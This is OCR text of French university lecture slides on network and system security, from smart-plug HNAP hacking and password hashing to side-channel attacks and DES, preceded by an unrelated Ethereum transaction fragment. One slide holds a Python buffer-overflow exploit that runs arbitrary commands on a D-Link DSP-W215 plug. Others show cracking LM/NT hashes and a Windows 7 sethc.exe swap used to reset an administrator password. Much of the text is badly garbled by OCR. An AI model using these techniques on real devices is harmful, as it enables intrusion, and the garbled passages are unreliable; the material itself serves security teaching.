Walue: 0 Ether (30.00)
Gas: 373547

Keccak(RLP)= BF474FF3D5F9AC3393D3F6B9
Gas Price: 000000002 Ether D4E29ADYAC3C8BA701COFFACS66117A2BBFDB177

Gas Used By Transacticn: 373547
Actual Tx Cost/Fee: 0.00747094 Ether ($0.00)

Cumulative Gas Used: 3621228

. Contract Code

IO IO U OO I FOUUoy S Uy U OU T U U0 L UL O S OO U I UL U UU IO F I IO IO OC o7 O SOUTOU I T IO I IO U U U U U oo L OO OO o owoD

Sa54006l0le0da0@ed 7 IfFFfHfHffffrffffrfffffffffffffffrffffff{fl1o81565b82805460@18100211615610]100220316000290049000005260200
2092090681 fA16020900481019282601F106183cas7805168FF19168380011785556183F8565b828001080101855582156183F8579182015082811115
61@3F757825182559168200191906801819@6183dc565b5b58968586104859198610489565b589@565b61842b91985b8082111561@4275760008160809
255506001816104@+F565b5@90565b905680a165627a7a72305820a397908ccB532613b407 cT7e5c7doB4cd2707e5e6d2435afbe9@62bel cOd656760B29

Input Data:

Convert To Ascii
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p-Link

Passez la sours sur limage pour zoomer

64/198 Pr Pascal URIEN, Telecom ParisTech

D-Link DSP-W215/FR Prise intelligente
de D-link
ryrirsrer * 25 commentaires client | 3 questions ayant regu une réponse

Prix - EUR 34,99 uivraison craTuITE Détails
Tous les prix incluent la TVA

En stock.

Voulez-vous le faire livrer le samedi 16 jan.? Commandez-le dans les 2 h et 24 mins et cheisissez la
Livraison en 1 jour ouvré au cours de votre commande. En savoir plus.

Expedie et vendu par Amazon. Emballage cadeau disponible.
20 neufs a partir de EUR 349% 1 d'occasion a partir de EUR 41,77

« Description du produit: D-Link Prise intelligente
« largeur: 3,93 cm

» Profondeur: 6,6 cm

» Hauteur: 11,7 cm

»Voir plus de détails

— 54 b
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The « Moon » worm

Home Network Administration Protocol (HNAP) is a proprietary network
protocol invented by Pure Networks, Inc. and acquired by Cisco Systems which
allows identification, configuration, and management of network devices.

HNAP is based on SOAP

2014 HNAP is used by "The Moon" worm which infects Linksys routers.

Hacking the D-Link DSP-W215 Smart Plug
http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/

http://logos.cs.uic.edu/366/notes/mips%20quick%?20tutorial.htm

TELECOM

ParisTech
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v<soap:Envelope xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance” xmlns:xsd="http://waww.w3.0orgs/2001/XMLSchema”
xmlns:soap="http:s/schemas.xmlsoap.orgssoapsenvelope/">
w<soap:Body>
w=GetDeviceSettingsResponse xmlns="http:/ purenetworks.com/HNAP1/">
<GetDeviceSettingsResult>0K</GetDeviceSettingsResult>
<Type>GatewayWithWiFi</Type>
<DewiceName />
<VWendorMame=D-Link</VendorName:>
<ModelDescription>=Wireless N150 Travel Router</ModelDescription=
<ModelName>DSP-W215A1</ModelMName=
=FirmwareVersion=1.00b23=</FirmwareVersion>
=FirmwareRegion>DEF</FirmwareRegion=>
<HardwareVersion>Al</HardwareVersion>
<PresentationURL>sst_dewvice.htm</PresentationuURL>
wv<SOAPActions>
<=string=http://purenetworks.com/HNAP1/GetDeviceSettings</string=>
<=string=http://purenetworks.com/HNAP1/SetDeviceSettings</string=>
<string=http://purenetworks.com/HNAP1/IsDeviceReady</string=>
<string=http://purenetworks.com/HNAP1/SetMultipleActions</string=
<string=http://purenetworks.com/HNAP1/GetFirmwareState</string:=
<string=http://purenetworks.com/HNAP1 /DoFirmwarelUpgrade</string=
vr<string:>
http://purenetworks.com/HNAP1/GetFirmwareValidation
=fstring=
wv<string=
http:s/purenetworks.com/HNAP1/StartFirmwareDownload
<fstring>
w<string>
http:s//purenetworks . com/HNAP1 /PollingFirmwareDownload
</string=>
<string=http://purenetworks.com/HNAP1/GetFirmwareStatus</string=>
<string=http://purenetworks.com/HNAP1/SetFactoryDefault=/string=
<=string=http://purenetworks.com/HNAP1/GetNetworkStats</string=

Certaines commandes ne sont pas authentifiées Qe

ParisTech
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Procedure de lecture du huffer de hitp POST
HNAP1 => /www/my_cgi.cgi"

A

Read HTTP Header

int content_length, i;

char *content_length_str;

char post_data_buf[500000];

C

ontent_length = 0;

content_length_str = getenv("CONTENT_LENGTH");
if(content_length_str)

{ content_length = strtol(content_length_str, 10);}
memset(post_data_buf, 0, 500000);

A
v

Read POST buffer

Proc:essI HNAP

for(i=0; i<content_length; i++) l

{ post_data_buf[i] = fgetc();}

TELECOM

ParisTech
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Shell Cmd

0x28 |

00405CA @ret

500,020

500.000 J POST

import sys .
import urllib?2 - \

command = sys.argv[l] 3 .
buf = "D"™ * 1,000,020 I 1

buf += "\x00\x40\x5C\xAC" a

buf += "E" * (0x28 ‘ /)

buf += command
buf += "\x00"
z
req = urllib2.Request ("http://192.168.0.60/HNAPL/",
buf)
print urllib2.urlopen(req) .read /()

Lext:00403CAC
Cext:00403CEB0

Cext:00403CE4
Lext:00403CBA

68/198 Pr Pascal URIEN, Telecom ParisTech

> 1a 5t9, s m
la 551, 0x440000
jalr t9 _ m
addiu a0, Ssp, Ox2H F command

system($sp+0x28)



http://www.telecom-paristech.fr/
http://192.168.0.60/HNAP1/

/var/sbin/relay 1 # Turns outlet on
/var/sbin/relay 0 # Turns outlet off

TELECOM

ParisTech
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Principes de securite
L’identification (identity).

)
B a’utili%‘a\teur d’ém sr}/stéme oL(J1 de ressources diverses possfde une ident'éé une sorte de clé primaire
ase de ees) qui redi 5

‘une fon g etermjne ses lettres de ts (‘credentla e se,f_autorls tions
usar%e. §ette ernjer %eut ﬁtr,e eclinée de multiples maniéres, com te utilisateur ?\ogm d’un
steme ale, empreinte vocale] schema

exploitation ou techniques biométriques empreinte digit

retinien...
L’authentification (authentication).

[ Cette ogération cohns(ifte a faire la preuve de son identité. Par exemple on peut utiliser un mot de
Easse, u une methode de defi basee sur une fonction crgFtoegr%p 1;@@ et un secret partage.
authentification est simple ou mutuelle selon les contraintes de |’environnement.

La confidentialité (privacy).

[ C’est la gcarantie ue les donnees echang[ees ne sont co&nprehensiblg& q%e Eour les deux _entItes qtji
R]artagen un me qsecr t souven aPPe € association de e(ﬁlrlt (SA). Cette propriete implique'la

1se o) uvr% gont mes de chiffrements smf en mogde flux (octet par octet, commg r
exemple dans RC4) soit en mode bloc (par exemple par serie de 8 octets dans le cas du .

L’intégrité des données (MAC, Message AuthentiCation).
E |e chiffrement évite les écoutes inc{iscrétes, mais il nc?oproté%e gas contre la modificatjon des ,
es fonctiofis Ig cé

e eros S?é{(e‘é’}.H‘et%m'%tor??et‘s”tgﬂ3&3@?‘? 20 ets) realisent ce sefyice. Lo MAL peUt etre
(HMAC(Message,cle), ashing ).

associe a une cle secrete or Message AuthentiCatio
La non-repudiation.

B Elle consiste a prouver [’qrigine des données. Généralement, cette opératjon utilise une signature
gméE)tnsque enp S\ﬁgjffrant regmpreinte u message avec la clltéﬁks,& er/%e e son auteur s
?Ii A(Empreinte(Message))).

Keyed-

SOyr;tceiItﬁeparfois un sixieme attribut relatif a la streté de fonctionnement (disponibilité, résilience) du
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De la confiance (TRUST)

+ La confiance est une relation sans propriétés particuliéres.

B Reéflexivite, ai-je confiance en moi-méme (pas dans tous
domaines).

I SKmétrie, je fais confiance au pilote de l’avion ou au
chirurgien, la reciproque n’est pas forcement vraie.

B Transitivité, j’ai confiance dans le president, le président a
confiance en la presidente, je n’ai pas obligatoirement
confiance dans la presidente.

+ Les infrastructures PKI supposent une transitivité de la
relation de confiance. Le client du réseau et un serveur
d’authentification partagent une méme autorité de ]
certification &CAIQ’ qui cree une classe de confiance basée sur
une relation R (R signifiant= «fait confiance a»).

E (Client R CA) ET (Serveur R CA) => (Client R Serveur) !

72[ -’ J Fl Fasidl UKKICIN, 1elieCuUlll Falis i1 eull -E “UI
=
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| Application Application |

ubp/TCP |

|  ubp/rce
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74

c p I -I p n

PHY- Le chiffrement au niveau physique sur des liaisons point a point.

B ar exemple cryptographie quantique (PMD), sau fr uenc seudo aléatoire, ou chiffrement
§XBE§‘ cfn [%l xo%petg‘ Lﬁme m ﬁ d]eq codram ient E]epeloy% par fespbanques %ans ces d1f érentes
procedures es cles sont distribuees manuellement

MAC- Conf1dent1al1te 1ntegrlte de données, signature de trames MAC.

[ C est la tec g ChO]Sle ar les rés §895 fil 882 11. La distribution des clés est eallsee ans un
artlcu iﬂt la norme ans ce cas on mtro uit a nqtion de controle
ac es au rese c es dire a [a parte e commu 1ca ion avec la toi araignee mog 1ale
ne notion ur1 1 rtante Lﬁ est d’interdi etransport es mform tion
in 1v1 us non aut enti et onc pofentle ement cr1mme S..

TCP/IP- Confidentialité, lntegnte de donnees signature des paquets IP et/ou TCP.

[ ’est t p1queme t la technologlg en mode tunnel. Un [fﬁﬂuet IP chiffré et si ne est clagsule
ansu a uet ontpro er% Ig et le,routa eat avers ternet implique [’analyse de Uen tete
ass relles rav ees crée un tunn securlse en re rése accese e omame
rn1sseur e service. F Sye_r ur]1 est lon anue le es ,ou des prot c?
1sf.r1 ytion automatlses te ue IS iloso hle ep ro% es alp%ne sur i
ilisation ureseau ces e q u1n es ssanss ever es problemes ues. Par, e>c<iemple
es crlmnlﬁes pro e%ent eurs ech an es e pnnees, 1l est ][Pé) slsmle aux réseaux traverses
etecter leur compficité dans le traRsport d’in ormatlons1 gale

ADDON- Inser V}I]E%n d’une couche de sécurité additive assurant la protection d’application telles que

navigateurs ou messageries electroniques.
B Par exem[%e le protocole SSL basé sur la c F]aphle s%/metrl%ue réalise cett fonction,
enera ement ce dernier con uit une s ntification e res r¥1eur et clien utilise un
ret partage,(Master ecre ar 1r erlv g es de chijffrements utilisees Rar
$or1t me ne ocie en re ar exe ans le ca une se 1on entre u
nav at eureb uR serveur anc 1re 1 c? l eson service chalre r\e 815 e tunnel
s cu 1se etablit le client s’authenti 1e ai n login et d’un mot de passe. Il obtient alors une

entite temporalre associee a un simple coo 1e
APPLICATION Gestion de la sécurité par I’application elle méme.

B élns1 le protocole S-MIME réalise la confidentialité, ’intégrité et la signature des contenus critiques
n message electronique.
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+ MAN - WAN
' gg;nﬁiglea;aef&enésssa%aelsg ISR RS 85 (RdBTeTgeaie

R A S Ao S AL R TR X EC i gy astructure centralisee

B Confidentialité, non répudiation (signature des trames)
E Assurer la rentabilité financiére du service
+ WLAN
B Réseaux prives ou d’entreprises
E Controle des acces
B Confidentialite, non repudiation
B S rrﬁroler tleos acces aux réseau de I’ entreprise, éviter la fuite

ormati
+ WPAN

B Réseaux personnels.

B Appairage entre terminaux et perlpherlques

I 8 t?mr une archltecture fonctionnelle, éviter la fuite
nformatio
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+ Clés symétriques distribuées manuellement
B Out Of Band
B Pas de serveur d’authentification centralisé
+ Clés symétriques distribuées automatiquement
B Serveur d’authentification centralise
+ Vecteurs d’authentification
B GSM, UMTS
B Serveur d’authentification central ou réeparti
+ Architecture basée sur des clés asymétriques
B Distribution de certificats et de clés RSA privées
B Architecture répartie ou centralisee
E Probleme de la révocation TELECOM

ParisTech
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Canal Securise

ENTITE A RESEAU ENTITE B
HOSTILE
R, IDT,
R, IDT,
Ky = PRF(R,, Ry, K, [IDT,,IDTg]) Ke, K, = KDF(Ry,Rg, Kyy)

«_ Canal de Transmission Securise .
{M}K. HMAC(M, K))

TELECOM
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La procedure d’authentification d’une paire d’entites informatiques,
parfois denommee.F,hase d’autorisation, consiste E}/plquement a
echanger les identites (IDTA et IDTB) d’un couple d’interlocuteurs
(appeles client/serveur ou initiateur/repondeur), deux nombres
aleatoires (RA, RB) formant un identifiant unique de la session, puis
d’effectuer un calcul.

Ce dernier produit, a ’aide d’une valeur secrete (KS) un secret maitre
(KM), a partir duquel on deduit des cles de chiffrement (KC) et
d’integrite (KI) permettant de créer un canal securise.

Dans un contexte de cryptographie symétrique la clé KS est distribuée
manuellement ; dans un contexte de cryptographie asymetrique la cle
KS sera par exemple generee par A, mais chiffree par la cle publique
(e,n) de B ( Ks® mod n ).

La protection de l’identite est une P.reoccupatiorj croissante avec
’emergence des technologies sans fil. Il existe divers mecanismes
permettant d’obtenir cette proprieté avec des degres de confiance

divers, par exemple grace a la mise en ceuvre de pseudonymes (tel que
le TIMSI du GSM), du protocole de Diffie-Hellman, ou du chiffrement

de certificats par la cle publique du serveur. T
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. Authentication
Security ¢ 2 f AAA
At ‘ nfrastructure

Assgtlon Key Exchange

Kc, Ki NS

Cryptographic | Secure Channel
Algorithms E— Privacy
Integrity TELRGoN
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+ Un générateur g de Z*/nZ (avec n premier) est tel que
B Vx#0 3i g = x (mod n).

Il existe @(n-1) solutions.

Exemple n=5, g=3
B g'=3,g7=4, g =2, g*=1

x est une clé privé, gx est une clé publique

Un écha?(ge DH permet de construire dynamiquement un secret
partagé Ks, Ks= gXV = (g¥)Y = (8V)

* quglg Krawczyk a introduit la notion de Randomness Extractor

= &

= &

B Source Key Material, SKM= g¥y

B L’entropie de SKM (log, 1/p(SKM)) n’est pas forcément constante

B XTR= PRF(RA|RB, SKM) = HMAC(RA | RB, SKM)

B L’entropie de XTR est proche d’une constante
80/198 Pr Pascal URIEN, Telecom ParisTech B ET
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PRF et KDF, selon NIST Special Publication 800-108

+ PRF

B Une proceédure qui génere une suite d’octets pseudo
aleatoire de longueur k bits.

E PRF(s, X)
& HMAC(key,x), CMAC(key,x)
+ Mode KDF compteur
E icomprisentre1etlL/k
B KDF(i) = PRF (K, i | Label | 0x00 | Context | L)
+ Mode KDF feedback
E icomprisentre1etlL/k
B K(i) = PRF (K, K(i-1) | i | Label | 0x00 | Context | L)

81/198 Pr Pascal URIEN, Telecom ParisTech ﬁﬁml
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+ C’est par exemple la procédure mise en ceuvre par SSL
+ Création d’un secret, PMS (Pre-Master-Secret)
+ Calcul d’un Master Secret (MS)
B MS = KDF(PMS, RA | RB | Label)
+ Calcul des clés Kc, Ki
B Clés = KDF (MS, RA | RB | Label )

TELECOM

ParisTech
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Les faiblesses du protocole IP
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Les faihlesses du protocole IP 1/2

+ Par nature un réseau est sensible au déni de service, au niveau physique (brouillage
divers...) ou logique (destruction/modification des paquets ou des trames).

+ Le protocole ARP (Address Resolution Protocol) réalise une correspondance entre une
adresse MAC et une adresse IP.

B Dans U'attaque dite ARP Sf)oofin,g |’attaquant forge une trame de réponse
(ARP.response) erronée. Il en résulte un detournement du trafic IP.

+ Un paquet IP comporte typiquement un en téte de 20 octets démunis d’attributs
cryptographiques de sécurite.

B La confidentialité et l’intégrité des données transportées ne sont pas assurées.

+ Le mécanisme de seFPmentqtion est difficilement analysable par les pare-feu. En effet, seul
!FCBremhelg Psegment contient ’entéte du protocole supérieur transporté, par exemple
ou .

B Le réassemblage peut entrainer un probléme de déni de service pour la machine de
réception (la taille maximale d’un paquet IP est de 65535 octets et le temps de
reception des fragments est indeterminé).

+ La correspondance adresse IP hom de machine est t)é,)iqugmgnt réalisée par le protocole
DNS qui n’offre aucun service d’authentification ou d’intégrité.

TELECOM

ParisTech
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Les faihlesses du protocole IP 2/2

+ Lors%ue un pare-feu autorise les paquets ICMP, il s’expose a de
possibles canaux cachés, utilisés par exemple pour dialoguer avec des
chevaux de Troie, dont [es informations sont transportés par des
paquets ICMP.response.

+ Le ‘)rotocole TCP ne propose aucune authentification du serveur lors
de I’ouverture d’une session (paquets SYN et ACK+SYN).

+ Le SYN-Flooding est une technique d’attaque de déni de service qui
consiste a générer en grand nombre de paquets TCP-SYN.

+ L’analyse des ports TCP (en mode serveur) ouverts d’un nceud IP S:ort
gc\:(a;\ln) repose sur la possibilité de forger librement des paquets TCP-

+ |l est _Ipossible de mettre fin a une session TCP a |’aide de paquets TCP-
RESET. Connaissant I’adresse IP du client en supposant une fenétre de
réception (RWIN) de 2'4 et une plage de ports ephémeéres de 210 e
nombre de paquets nécessaire est de ’ordre de 232/214%210 = 228,

+ De nombreux protocoles (PPP, POP, FTP,...) mettent en ceuvre des
mots de passe transmis en clair sur le réseau. Peu de messageries "
supportent un transport sécurisé par SSL. ch

85/ 190 PrPascal URIEN, Telecom ParisTech s il
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Login et Mot de passe
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Bd0-bits

|:5E.1t:|¢

Ffuusd . 4h¥ 0T
[ £from Setcspassed)

———

25 ES en-
crypt 1o

i Jems)

rnputted
pasmnenord
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j—’ Fiuod 4y 0TT

coxrespondance:
passnmord accepted

T

[result)
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Glé NT et MSCHAPv2

MD4 |[<+— Mot de Passe
‘: -

Clé NT
3x7 = 16 octets + 5 nuls DESkey1(r), DESkey2(r), DESkeys(r)

= {Keyl, Key2, Key3} >

random 8 octets

PeerlChallenge AuthenticatorChallenge

F

l r= 8 octets DESL(r), DES2(r), DES3(r)
P

TELECOM
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Windows - SAM - Security Account Manager
LM HaSh

Seattle1 SEATTLE e Rl

- D@

Conc atenate |

NT LM Hash
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- ~
S5AM Explorer
== | —
Select th t wh rti i '
Q | R e user account whose properties you want to explore Step 3/4

J The top of the page contains the list of user/group.alias items found. Click one of them to see itz properties. Press
"Mexd’ button to proceed to the final Wizard step and view or edit the selected item attributes.

Hash Generator &

(=]
Uszer name Uszer ID Administrator Password set % Single hash generator |
Administrateur 500 fes fes
Invits 501 No Mo Current password
Pascal 1001 fes fes Pasaword: helo2016
HomeGroupllsers 1002 Mo es
Password hash
LM hash: 3B781EBDSA 156E300048C6A0482B0714 (2]
NT hash: SDB408E70 1EA4DSFE2F732596A527FCS =)

PWDLMP string sample: Test_hello2016:1000: 36873 1IEEDSA156E30DDE8CEA | L[|

o Account properties |
Account locked: Mo Account disabled:  Yes | Add | e
Password expired: Mewer Password required: Yes

Accourt description: Compte dutilisateur d’administration

Suivant = | Annuler |
| Start Page/ Hashes r Frogress r Report r Hardware monitor ]
User name RIC LM password MNT password LM hash MT hash Drescription
[T g Administrateur 500 = =Empty> @ <Empty>
et HomeGroupllsers 1002 = =Empty=> - B4 CE4EA94DTFLO0393BEGTDE2FE12AB
[ dehy Inwite 501 = <Empty> = <Empty>
it Pascal 1001 = =Empty=> - BDB40EBTO1EA4DIFE2FT32546A52T7FCH
“ 1

s S e I I 11 ASUUE UINILIN, TUILUULIL T Adig T vull
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File VWiew Configure

Tools

Help

B
S

HTLH

| wr | | =, 2

EE#@|6‘?|I}_|

|é%, Decoders I§ MNetwoark Iﬁ;‘ﬂ Sniffer I@I/‘7 Cracker Iﬁ Traceroute Im CCDU Iﬁ.:jn Wireless I%) Query I

42, PWL files (0}

N Cisco IOS-MD5 Hashes (0)
M Cisco PLX-MDS Hashes (0)
B APOP-MDS Hashes (0)
g CRAM-MDS Hashes (0]
_#+}+ OSPF-MDS5 Haches (0)
4{0 RIPw2-PD5 Hashes (0]

md pADY Hashes (0)
-.md pADS Hashes (0]
... 5HA SHA-1 Hashes (0)

m

I <8 I MNT Password

| LM Hash

| NT Hash

Pascal

lsF Cracker # | User Name I LM Password
~glh LM 8 NTLM Hashes (4) g%Adrr1ir1isi:rE|tE|.|r * empty *
-l NTLMWZ Hashes (0) XK HomeGroupUsers * empty ¥
gl MS-Cache Hashes (0) FhInvite * empty *

Dictionarny Attack
EBrute-Force Attack
Cryptanalysis Attack

Rainbowcrack-Online

4] VRRP-HMAC Hashes (1) ActiveSync
VMC-3DES (0) Select All
-md pAD2 Hashes (0)
Mote

Test password

* empty * MO PASSWOR...
MO PASSWOR...
* empty * MO PASSWOR...

LM Hashes

LM Hashes + challenge
MNTLM Hashes
MTLM Hashes + challenge
MNTLM Session Security Hashes

MO PASSWORD'
8B4 C84EA94 DTFL00393BESTD...
MO PASSWORD!
2DRANARTO1EA4DOFE2FT3254... | |

91/198 Pr Pascal URIEN, Telecom ParisTech

r:unem passward

AN RA

-SHA SHA-2 Hashes (0) Add to list Insert
-\, RIPEMD-160 Hashes (0} Remowve Delete —_— i
@ Kert.)S Prefuth Hashes (0] Remowe Machine Accounts
% Radius Shared-Key Hashes (0}
€% IKE-PSK Hashes (0) P e | L
- E MSsQL Hashes (@) m Export
~EB MySQL Hashes (@) - |5A Optio
e Er A s 15 (Password)
Gl -oxid.it £ 4 Reverse [FASSWORD - DROWSSAP]

Double [Pass - PassPass)
Lowercase [PASSWORD - password)

Uppercase (Passward - PASSWORD)

Num. sub. perms [Pass. Pdss PaSs... P4Ss. P455)
Case perms [Pass.pbes.paSe... Pads. . PASS)
Two numbers Hybrid Brute [Pass0.... Pass33)

Plaintest of GDE408B70LlEA4DIFEZF732546A527FC6 i= hello2016
Attack stopped!
1 of 1 hashes cracked

E it
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Reset du mot de Passe sous windows 7

Voulez-vous activer les touches rémanentes ?

Les touches rémanentes permettent d'utiliser les touches MAJ, CTRL, ALT ou
Windows en appuyant sur une touche 3 la fois. Pour activer les touches
rémanentes, appuyez 5 fois de suite sur la touche MAJ.

Ouvrez les Options d'ergonomie pour désactiver le raccourci clavier

sethc.exe

Cmc .exe ‘ "5 Windows 7 Ultimate

7. b JPEG

TELECOM

/Windows/System32 |
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Reset du mot de passe sous Windows 7

+ En remplacant la commande sethc.exe par cmd.exe
dans /Windows/System32 un disque de réparation
permet de modifier le mot de passe administrateur

B cmd.exe est exécuté en mode administrateur
net user Administrateur /active:yes
shutdown -r
net user UserName *
=>new Password:
=>Confirm:
net user UserName /active:yes

-+ ¥+ & F &

TELECOM
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Plateformes Securisees, Bill Gates, 2006

Network Processes User
Firewall Firewall User's’ Right

Fundamentally Secure Platforms

Protection technologies that enable isolation

" Trust-based multi-factor authentication Secure Device
Carte a puce

Policy-based access control

Unified Audit across applications

Slide 8 of 17
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La stratégie Microsoft - Bill Gates

_— 4ot
Evolution of Networks:

Making the Vision Real .*_ IPSEC

e
[ isolation
—
“"T usted Zonel
=

+ Trustworthy
Computing

~Making the VisioHIEEE— ~E volution of IO ST + Des composants
Making the Vision Real qL" r'eS|S1'en1' aux

-egwo rks Protection Identity m 3 attaques
o T i b E TPM

B Cartes apuce

|
—m——

Le mot de passe est W — |
LE probléme de kNG + Identité

SéCUrité 'DENTITY SR “” . I'DENTITV FOR

4+  Microsoft propose l— DENTITY
’usage généralisé ' ‘.{’

de certificats ediupzzen
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Trinité, Paul Kocher & ALL (2004)

Extensibilité

Complexité ConnectivitH
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m y ) & ) & - ) &

Intégrité

- Isolation (multi processeurs)
- SandBox

- Mise a jour/chargement de logiciels sécurisés
- Prévention/Détection des intrusions
- Prévention des attaques par rebond

Embarqué
-

Stockage Sécurisé
-Secrets des communications
-Tamper Resistant

Communications
sécurisées
-Authentification
Mutuelle Forte
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Infections
Informatiques
Programmes Programmes
Autoreproducteurs Simples
e , : | ,
Virus Vers Chevaux Espiogiciel
de Troie
» Bombe
Logique

99/
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Le vers hlaster (2003)

Blaster Infected Host

-

1. initialize .m\

Blaster
WOrm

2. scan

i

2. Transmit RFPC DCOM exploit code

il
-

Y

A Initiate worm code download

launch

Y

|
v

TFTPD
69 UDP

N

!

5. Download worm code by TETP

G Execute remote Elaster worm code

-t
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Victim

125 TCF

125 TCF
-

L launch

launch

~

TCH

WhWin-
dows
TETE ) Shell
Zlient -
launch
A4 TR
Elaster -
WO
s

e
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2 lignes de

— 1 bastion : —
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remparts
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Hans Brinker Défense Immunitaire

Attaque Contre-mesure
Connue, inconnue efficace non efficace

102/198 Pr Pascal UIM%%ILELm ParisTech ﬁﬁgm.


http://www.telecom-paristech.fr/

TELECOM

ParisTech

103/198 Pr Pascal URIEN, Telecom ParisTech


http://www.telecom-paristech.fr/

y & -
)y 4 - V & 9

div E = 0 div B - P
=

_ — — Sf — — SES

e T ot B= = 5
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Courants de Foucault (£//is currend

1/ X — —
' (&4
JX = Current Density (A/m?)
e = Base Natural Log
X = Distance Below Surface

Standard Depth of
Penetration
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f
-'-,.|' .'?E'Ji"'“‘,uﬁ

S —

Standard Depth of
Penetration (m)

3.14

Test Frequency (Hz)
Magnetic Permeability
(Henry/m)

Electrical Conductivity
(Siemens/m)
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Attagque par courant de Foucault dune
Jes —- cellule SRAM

possible de
modifier T
I’état d’une ONLi w | OFF
cellule M )@* ﬂ Mg _ 1
mémoire I 1 L .
SRAM par "
courantde "

AN s K3
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Differential traces between (00h & 00h) and (FFh @ 00h) picked up at different locations

HOM L
L ™

-

= i

Data s,:igna,tufes
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RSA & Morse Samuel F

Sy @ I N 1 = NN NN I .
= RN O I e - T HE B B |
C e - e F s o e Z e s e HE BN

D e e C - - - g & 8 o EEN

E=® ({1 unit) e mme C e e

F e« BN = = N N 5 e e & &
el T = (= units) B N
He® == L = = =N & N
| & » Voe e s N = N N N N
J o . W I . O I N N .
" KN | ¥ O e =

L = I e e Y I s I

[~ - - 2 B N

a modulus
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Attaque d'un exponentiator

C(forme chiffrée) = M4 modulo m

d=d,.2° +d,.2" +d;.22 + d3. 2> +d,.2% +...+d.2"+...+d .27, oudia
pour valeur O ou 1.

La forme chiffrée s’exprime sous forme d’un produit de p termes mi,
B C=m, my my..m..m,,; modulom, avec
& mi=1,siei=0.
& mi=M2"" modulo m, si ei=1
& X, =M2i X, = Xi2

En constate que, dans cette implémentation de ’algorithme RSA (dite
exponentiation), chaque bit (di1) de la clé implique un temps calcul
différent selon que sa valeur soit 0 (multiplication triviale par 1) ou 1
(multiplication par M?™),

En fonction des différences de temps calculs observées on déduit la valeur
de di (0 ou 1).
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Attagques adressant les systemes emharques

Physical and
Side-Channel Attacks

Logical
Attacks

Non-Invasive

Software
attacks

Crypto

iming and
Power Analysis protocol
Micro-probing :g';i weakness
Reverse Engineering Electromagnetic

Analysis

Embedded
Systems

TELECOM

Examples of attack threats faced by embedded systems. ParisTech
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Chiffrement symetrique 1/3

fexte en 2 L .
ohair o -~ _\-\_\-\-H\-\"‘-\. ) _.-"'"dd_ﬂ_ T fetie Tl
EHVOYeT I.rf Algonthme de . r A Algonthme de H\,I clgnir
'u chaffrement \l H‘“‘} Ermassion duo texte \\ déchiffrement ] FETFoiIVeG
4 1"“& /#.,-f broullé 1“& ;‘{:_'r
«._H__\_ ___'d_. lr"ﬂf’ ""\-\._\____\_ ___a-' F
— - -
CLEF SECRETE CLEF SECRETE

\ Echange = « Sphére de confiance » /

Une seule clé de chiffrement et déchiffrement
Le chiffrement est une bijection y=f(x)

TELECOM

ParisTech
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HAL Chiffrement symétrique 2/3

+ Les clés de chiffrement (cipher keys) et de déchiffrement (uncipher) sont identiques.
+ Les méthodes de bases du chiffrement sont
B La substitution (5-BOX): n! bijections de X[1,n] vers X[1,n]
& Exemple le code de CESAR

Texte clair ABC

DE MNOPQRSTUVWXYZ
Texte codée DEFGH

FGHIJK
| JKLMNOPQRSTUVWXYZABC

I ermutation (P-BOX) (o ncor tra osition). Un ensemble de données en clair (b
L?eﬁwents est rc]ie(coupe egB tb?ocs %[?nents ) (

@ Exemple ensemble de 20 elements lelse en 4 blocs de 5 éléments.
x1 x2 x3 x4 x5
x6 x7 x8 x9 x10

x11 x12 x13 x14 x15

X16 x17 x18 x19 x20

@ Les lignes et colonnes sont permutées selon un ordre connu (la clé de permutation)

+ On distingue le chiffrement par flot (stream c1pher) et le chiffrement par bloc (bloc cipher).

B §g:ue|§[cugr} SQéfEﬁ?E"S{‘E ]?][rgl%tnu(;uclg(see f eq]uemment par le protocole SSL. Il utilise des clés

B DES (Digital Encryption Algorithm) utlllse des cles de 56 bits et chiffre des blocs de 64 bits
B chs (Avanced Encryption Algorithm) utilise des clés de 128 bits et chiffre des blocs de 128
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+ Le codage porte sur des blocs de données de 64 bits et utilise une clé unique de 64 bits (56 bits + 8
bits de parité - 1 bit /octet de parité impaire).

B PILLLTILLIINIINT 256 << 64!
+  On utilise une permutation initiale et une permutation finale inverse de la premiére. 16
transformations successives (selon le procedé de FEISTEL) sont définies
_ Le bloc de 64 bits est divisés en un bloc gauche L (32 bits) et droit R (32 bits).
B Li = Ri-1
E  Ri=Li-1 exor f(Ri-1,Ki), Ki clé de ’étage i.
_ A partir de R et d’une matrice Ezide 6 colonnes et 8 lignes) on produit un nombre de 48 bits qui

est ajouté (exor) a une clé K de 48 bits. Ces 48 bits sont répartis en 8 groupes de 6 bits, chaque
groupe subit une transformation Si (1..8) qui produit un mot de 4 bits.

+ Laclé (56 bits utiles) subit une permutation PC1 (2 matrices de 7 colonnes et 4 lignes), puis est
séparée en deux groupes de 28 bits éCO et DO). On produit par des décalages a Fguchg et a droite
SDl:IC((.Ze?SIfS1|gS blocs Ci et Di (i=1,...16). Une matrice PC2 permet d’obtenir les clés Ki a partir de Ci et

i(i=1,...

+ En pratique DES est utilisé selon ’algorithme dit triple DES, avec deux clés de 56 bits

B Y =E10D2 o E1(x)

+ Il existe des attaques qui permettent de retrouver une clé DES a partir de 24° blocs (préalablement
connus) chiffrés

TELECOM

ParisTech
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Plaintext (64 bits)

- p— Half Block (32 bits) Subkey (48 bits)
' Initial.Permutation
T - [ Expanqionw
—— 48 bits
(j{j F & hite S BOX
UL LU L WL AL LU, LLLLLL LLLLLL
>< |S1|[s2]|[s3]|[sa]||[s5]|[s6]|[s7]|[s8]
— 1 TOL_IIC_IIC I0C I T T
| | 4 bits 32 bits R
| = P Permutation |

1 32 bits
Deep Crack, 1999
90 milliards de clés par seconde, 2°¢ =9 jours
e 1 856 puces spécialisées pour le DES, contenues sur
! e eane v 29 cartes électroniques de 64 puces. TELECOM

ParisTech
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Chiffrement symeétrique : notion d’entropie 3/3

*

*

Il faut rafraichir une clé de chiffrement !

Claude Shannon a défini la notion d’entropie de ’information
B H=-ZXp(x) log, p(x)
& soit log,(n) pour n symboles équiprobables
L’entropie conditionnelle de X sachant Y s’écrit ;
B H(X,Y) = - £ p(X=x,Y=y) log, p(X=x,Y=y) — 2 _pilogs(p:)
B H(X,Y) = H(X) + H(Y[X), H(Y|X)= H(X,Y) - H(X) =1
Un systeme cryptographique parfait au sens de Shannon est tel que
3 Hl(' &C) = H(M), M le message en clair et C le message chiffré par une
clé K.

Par exemple une clé constituée par une suite d’octets aléatoires k1,k2,....,Ki
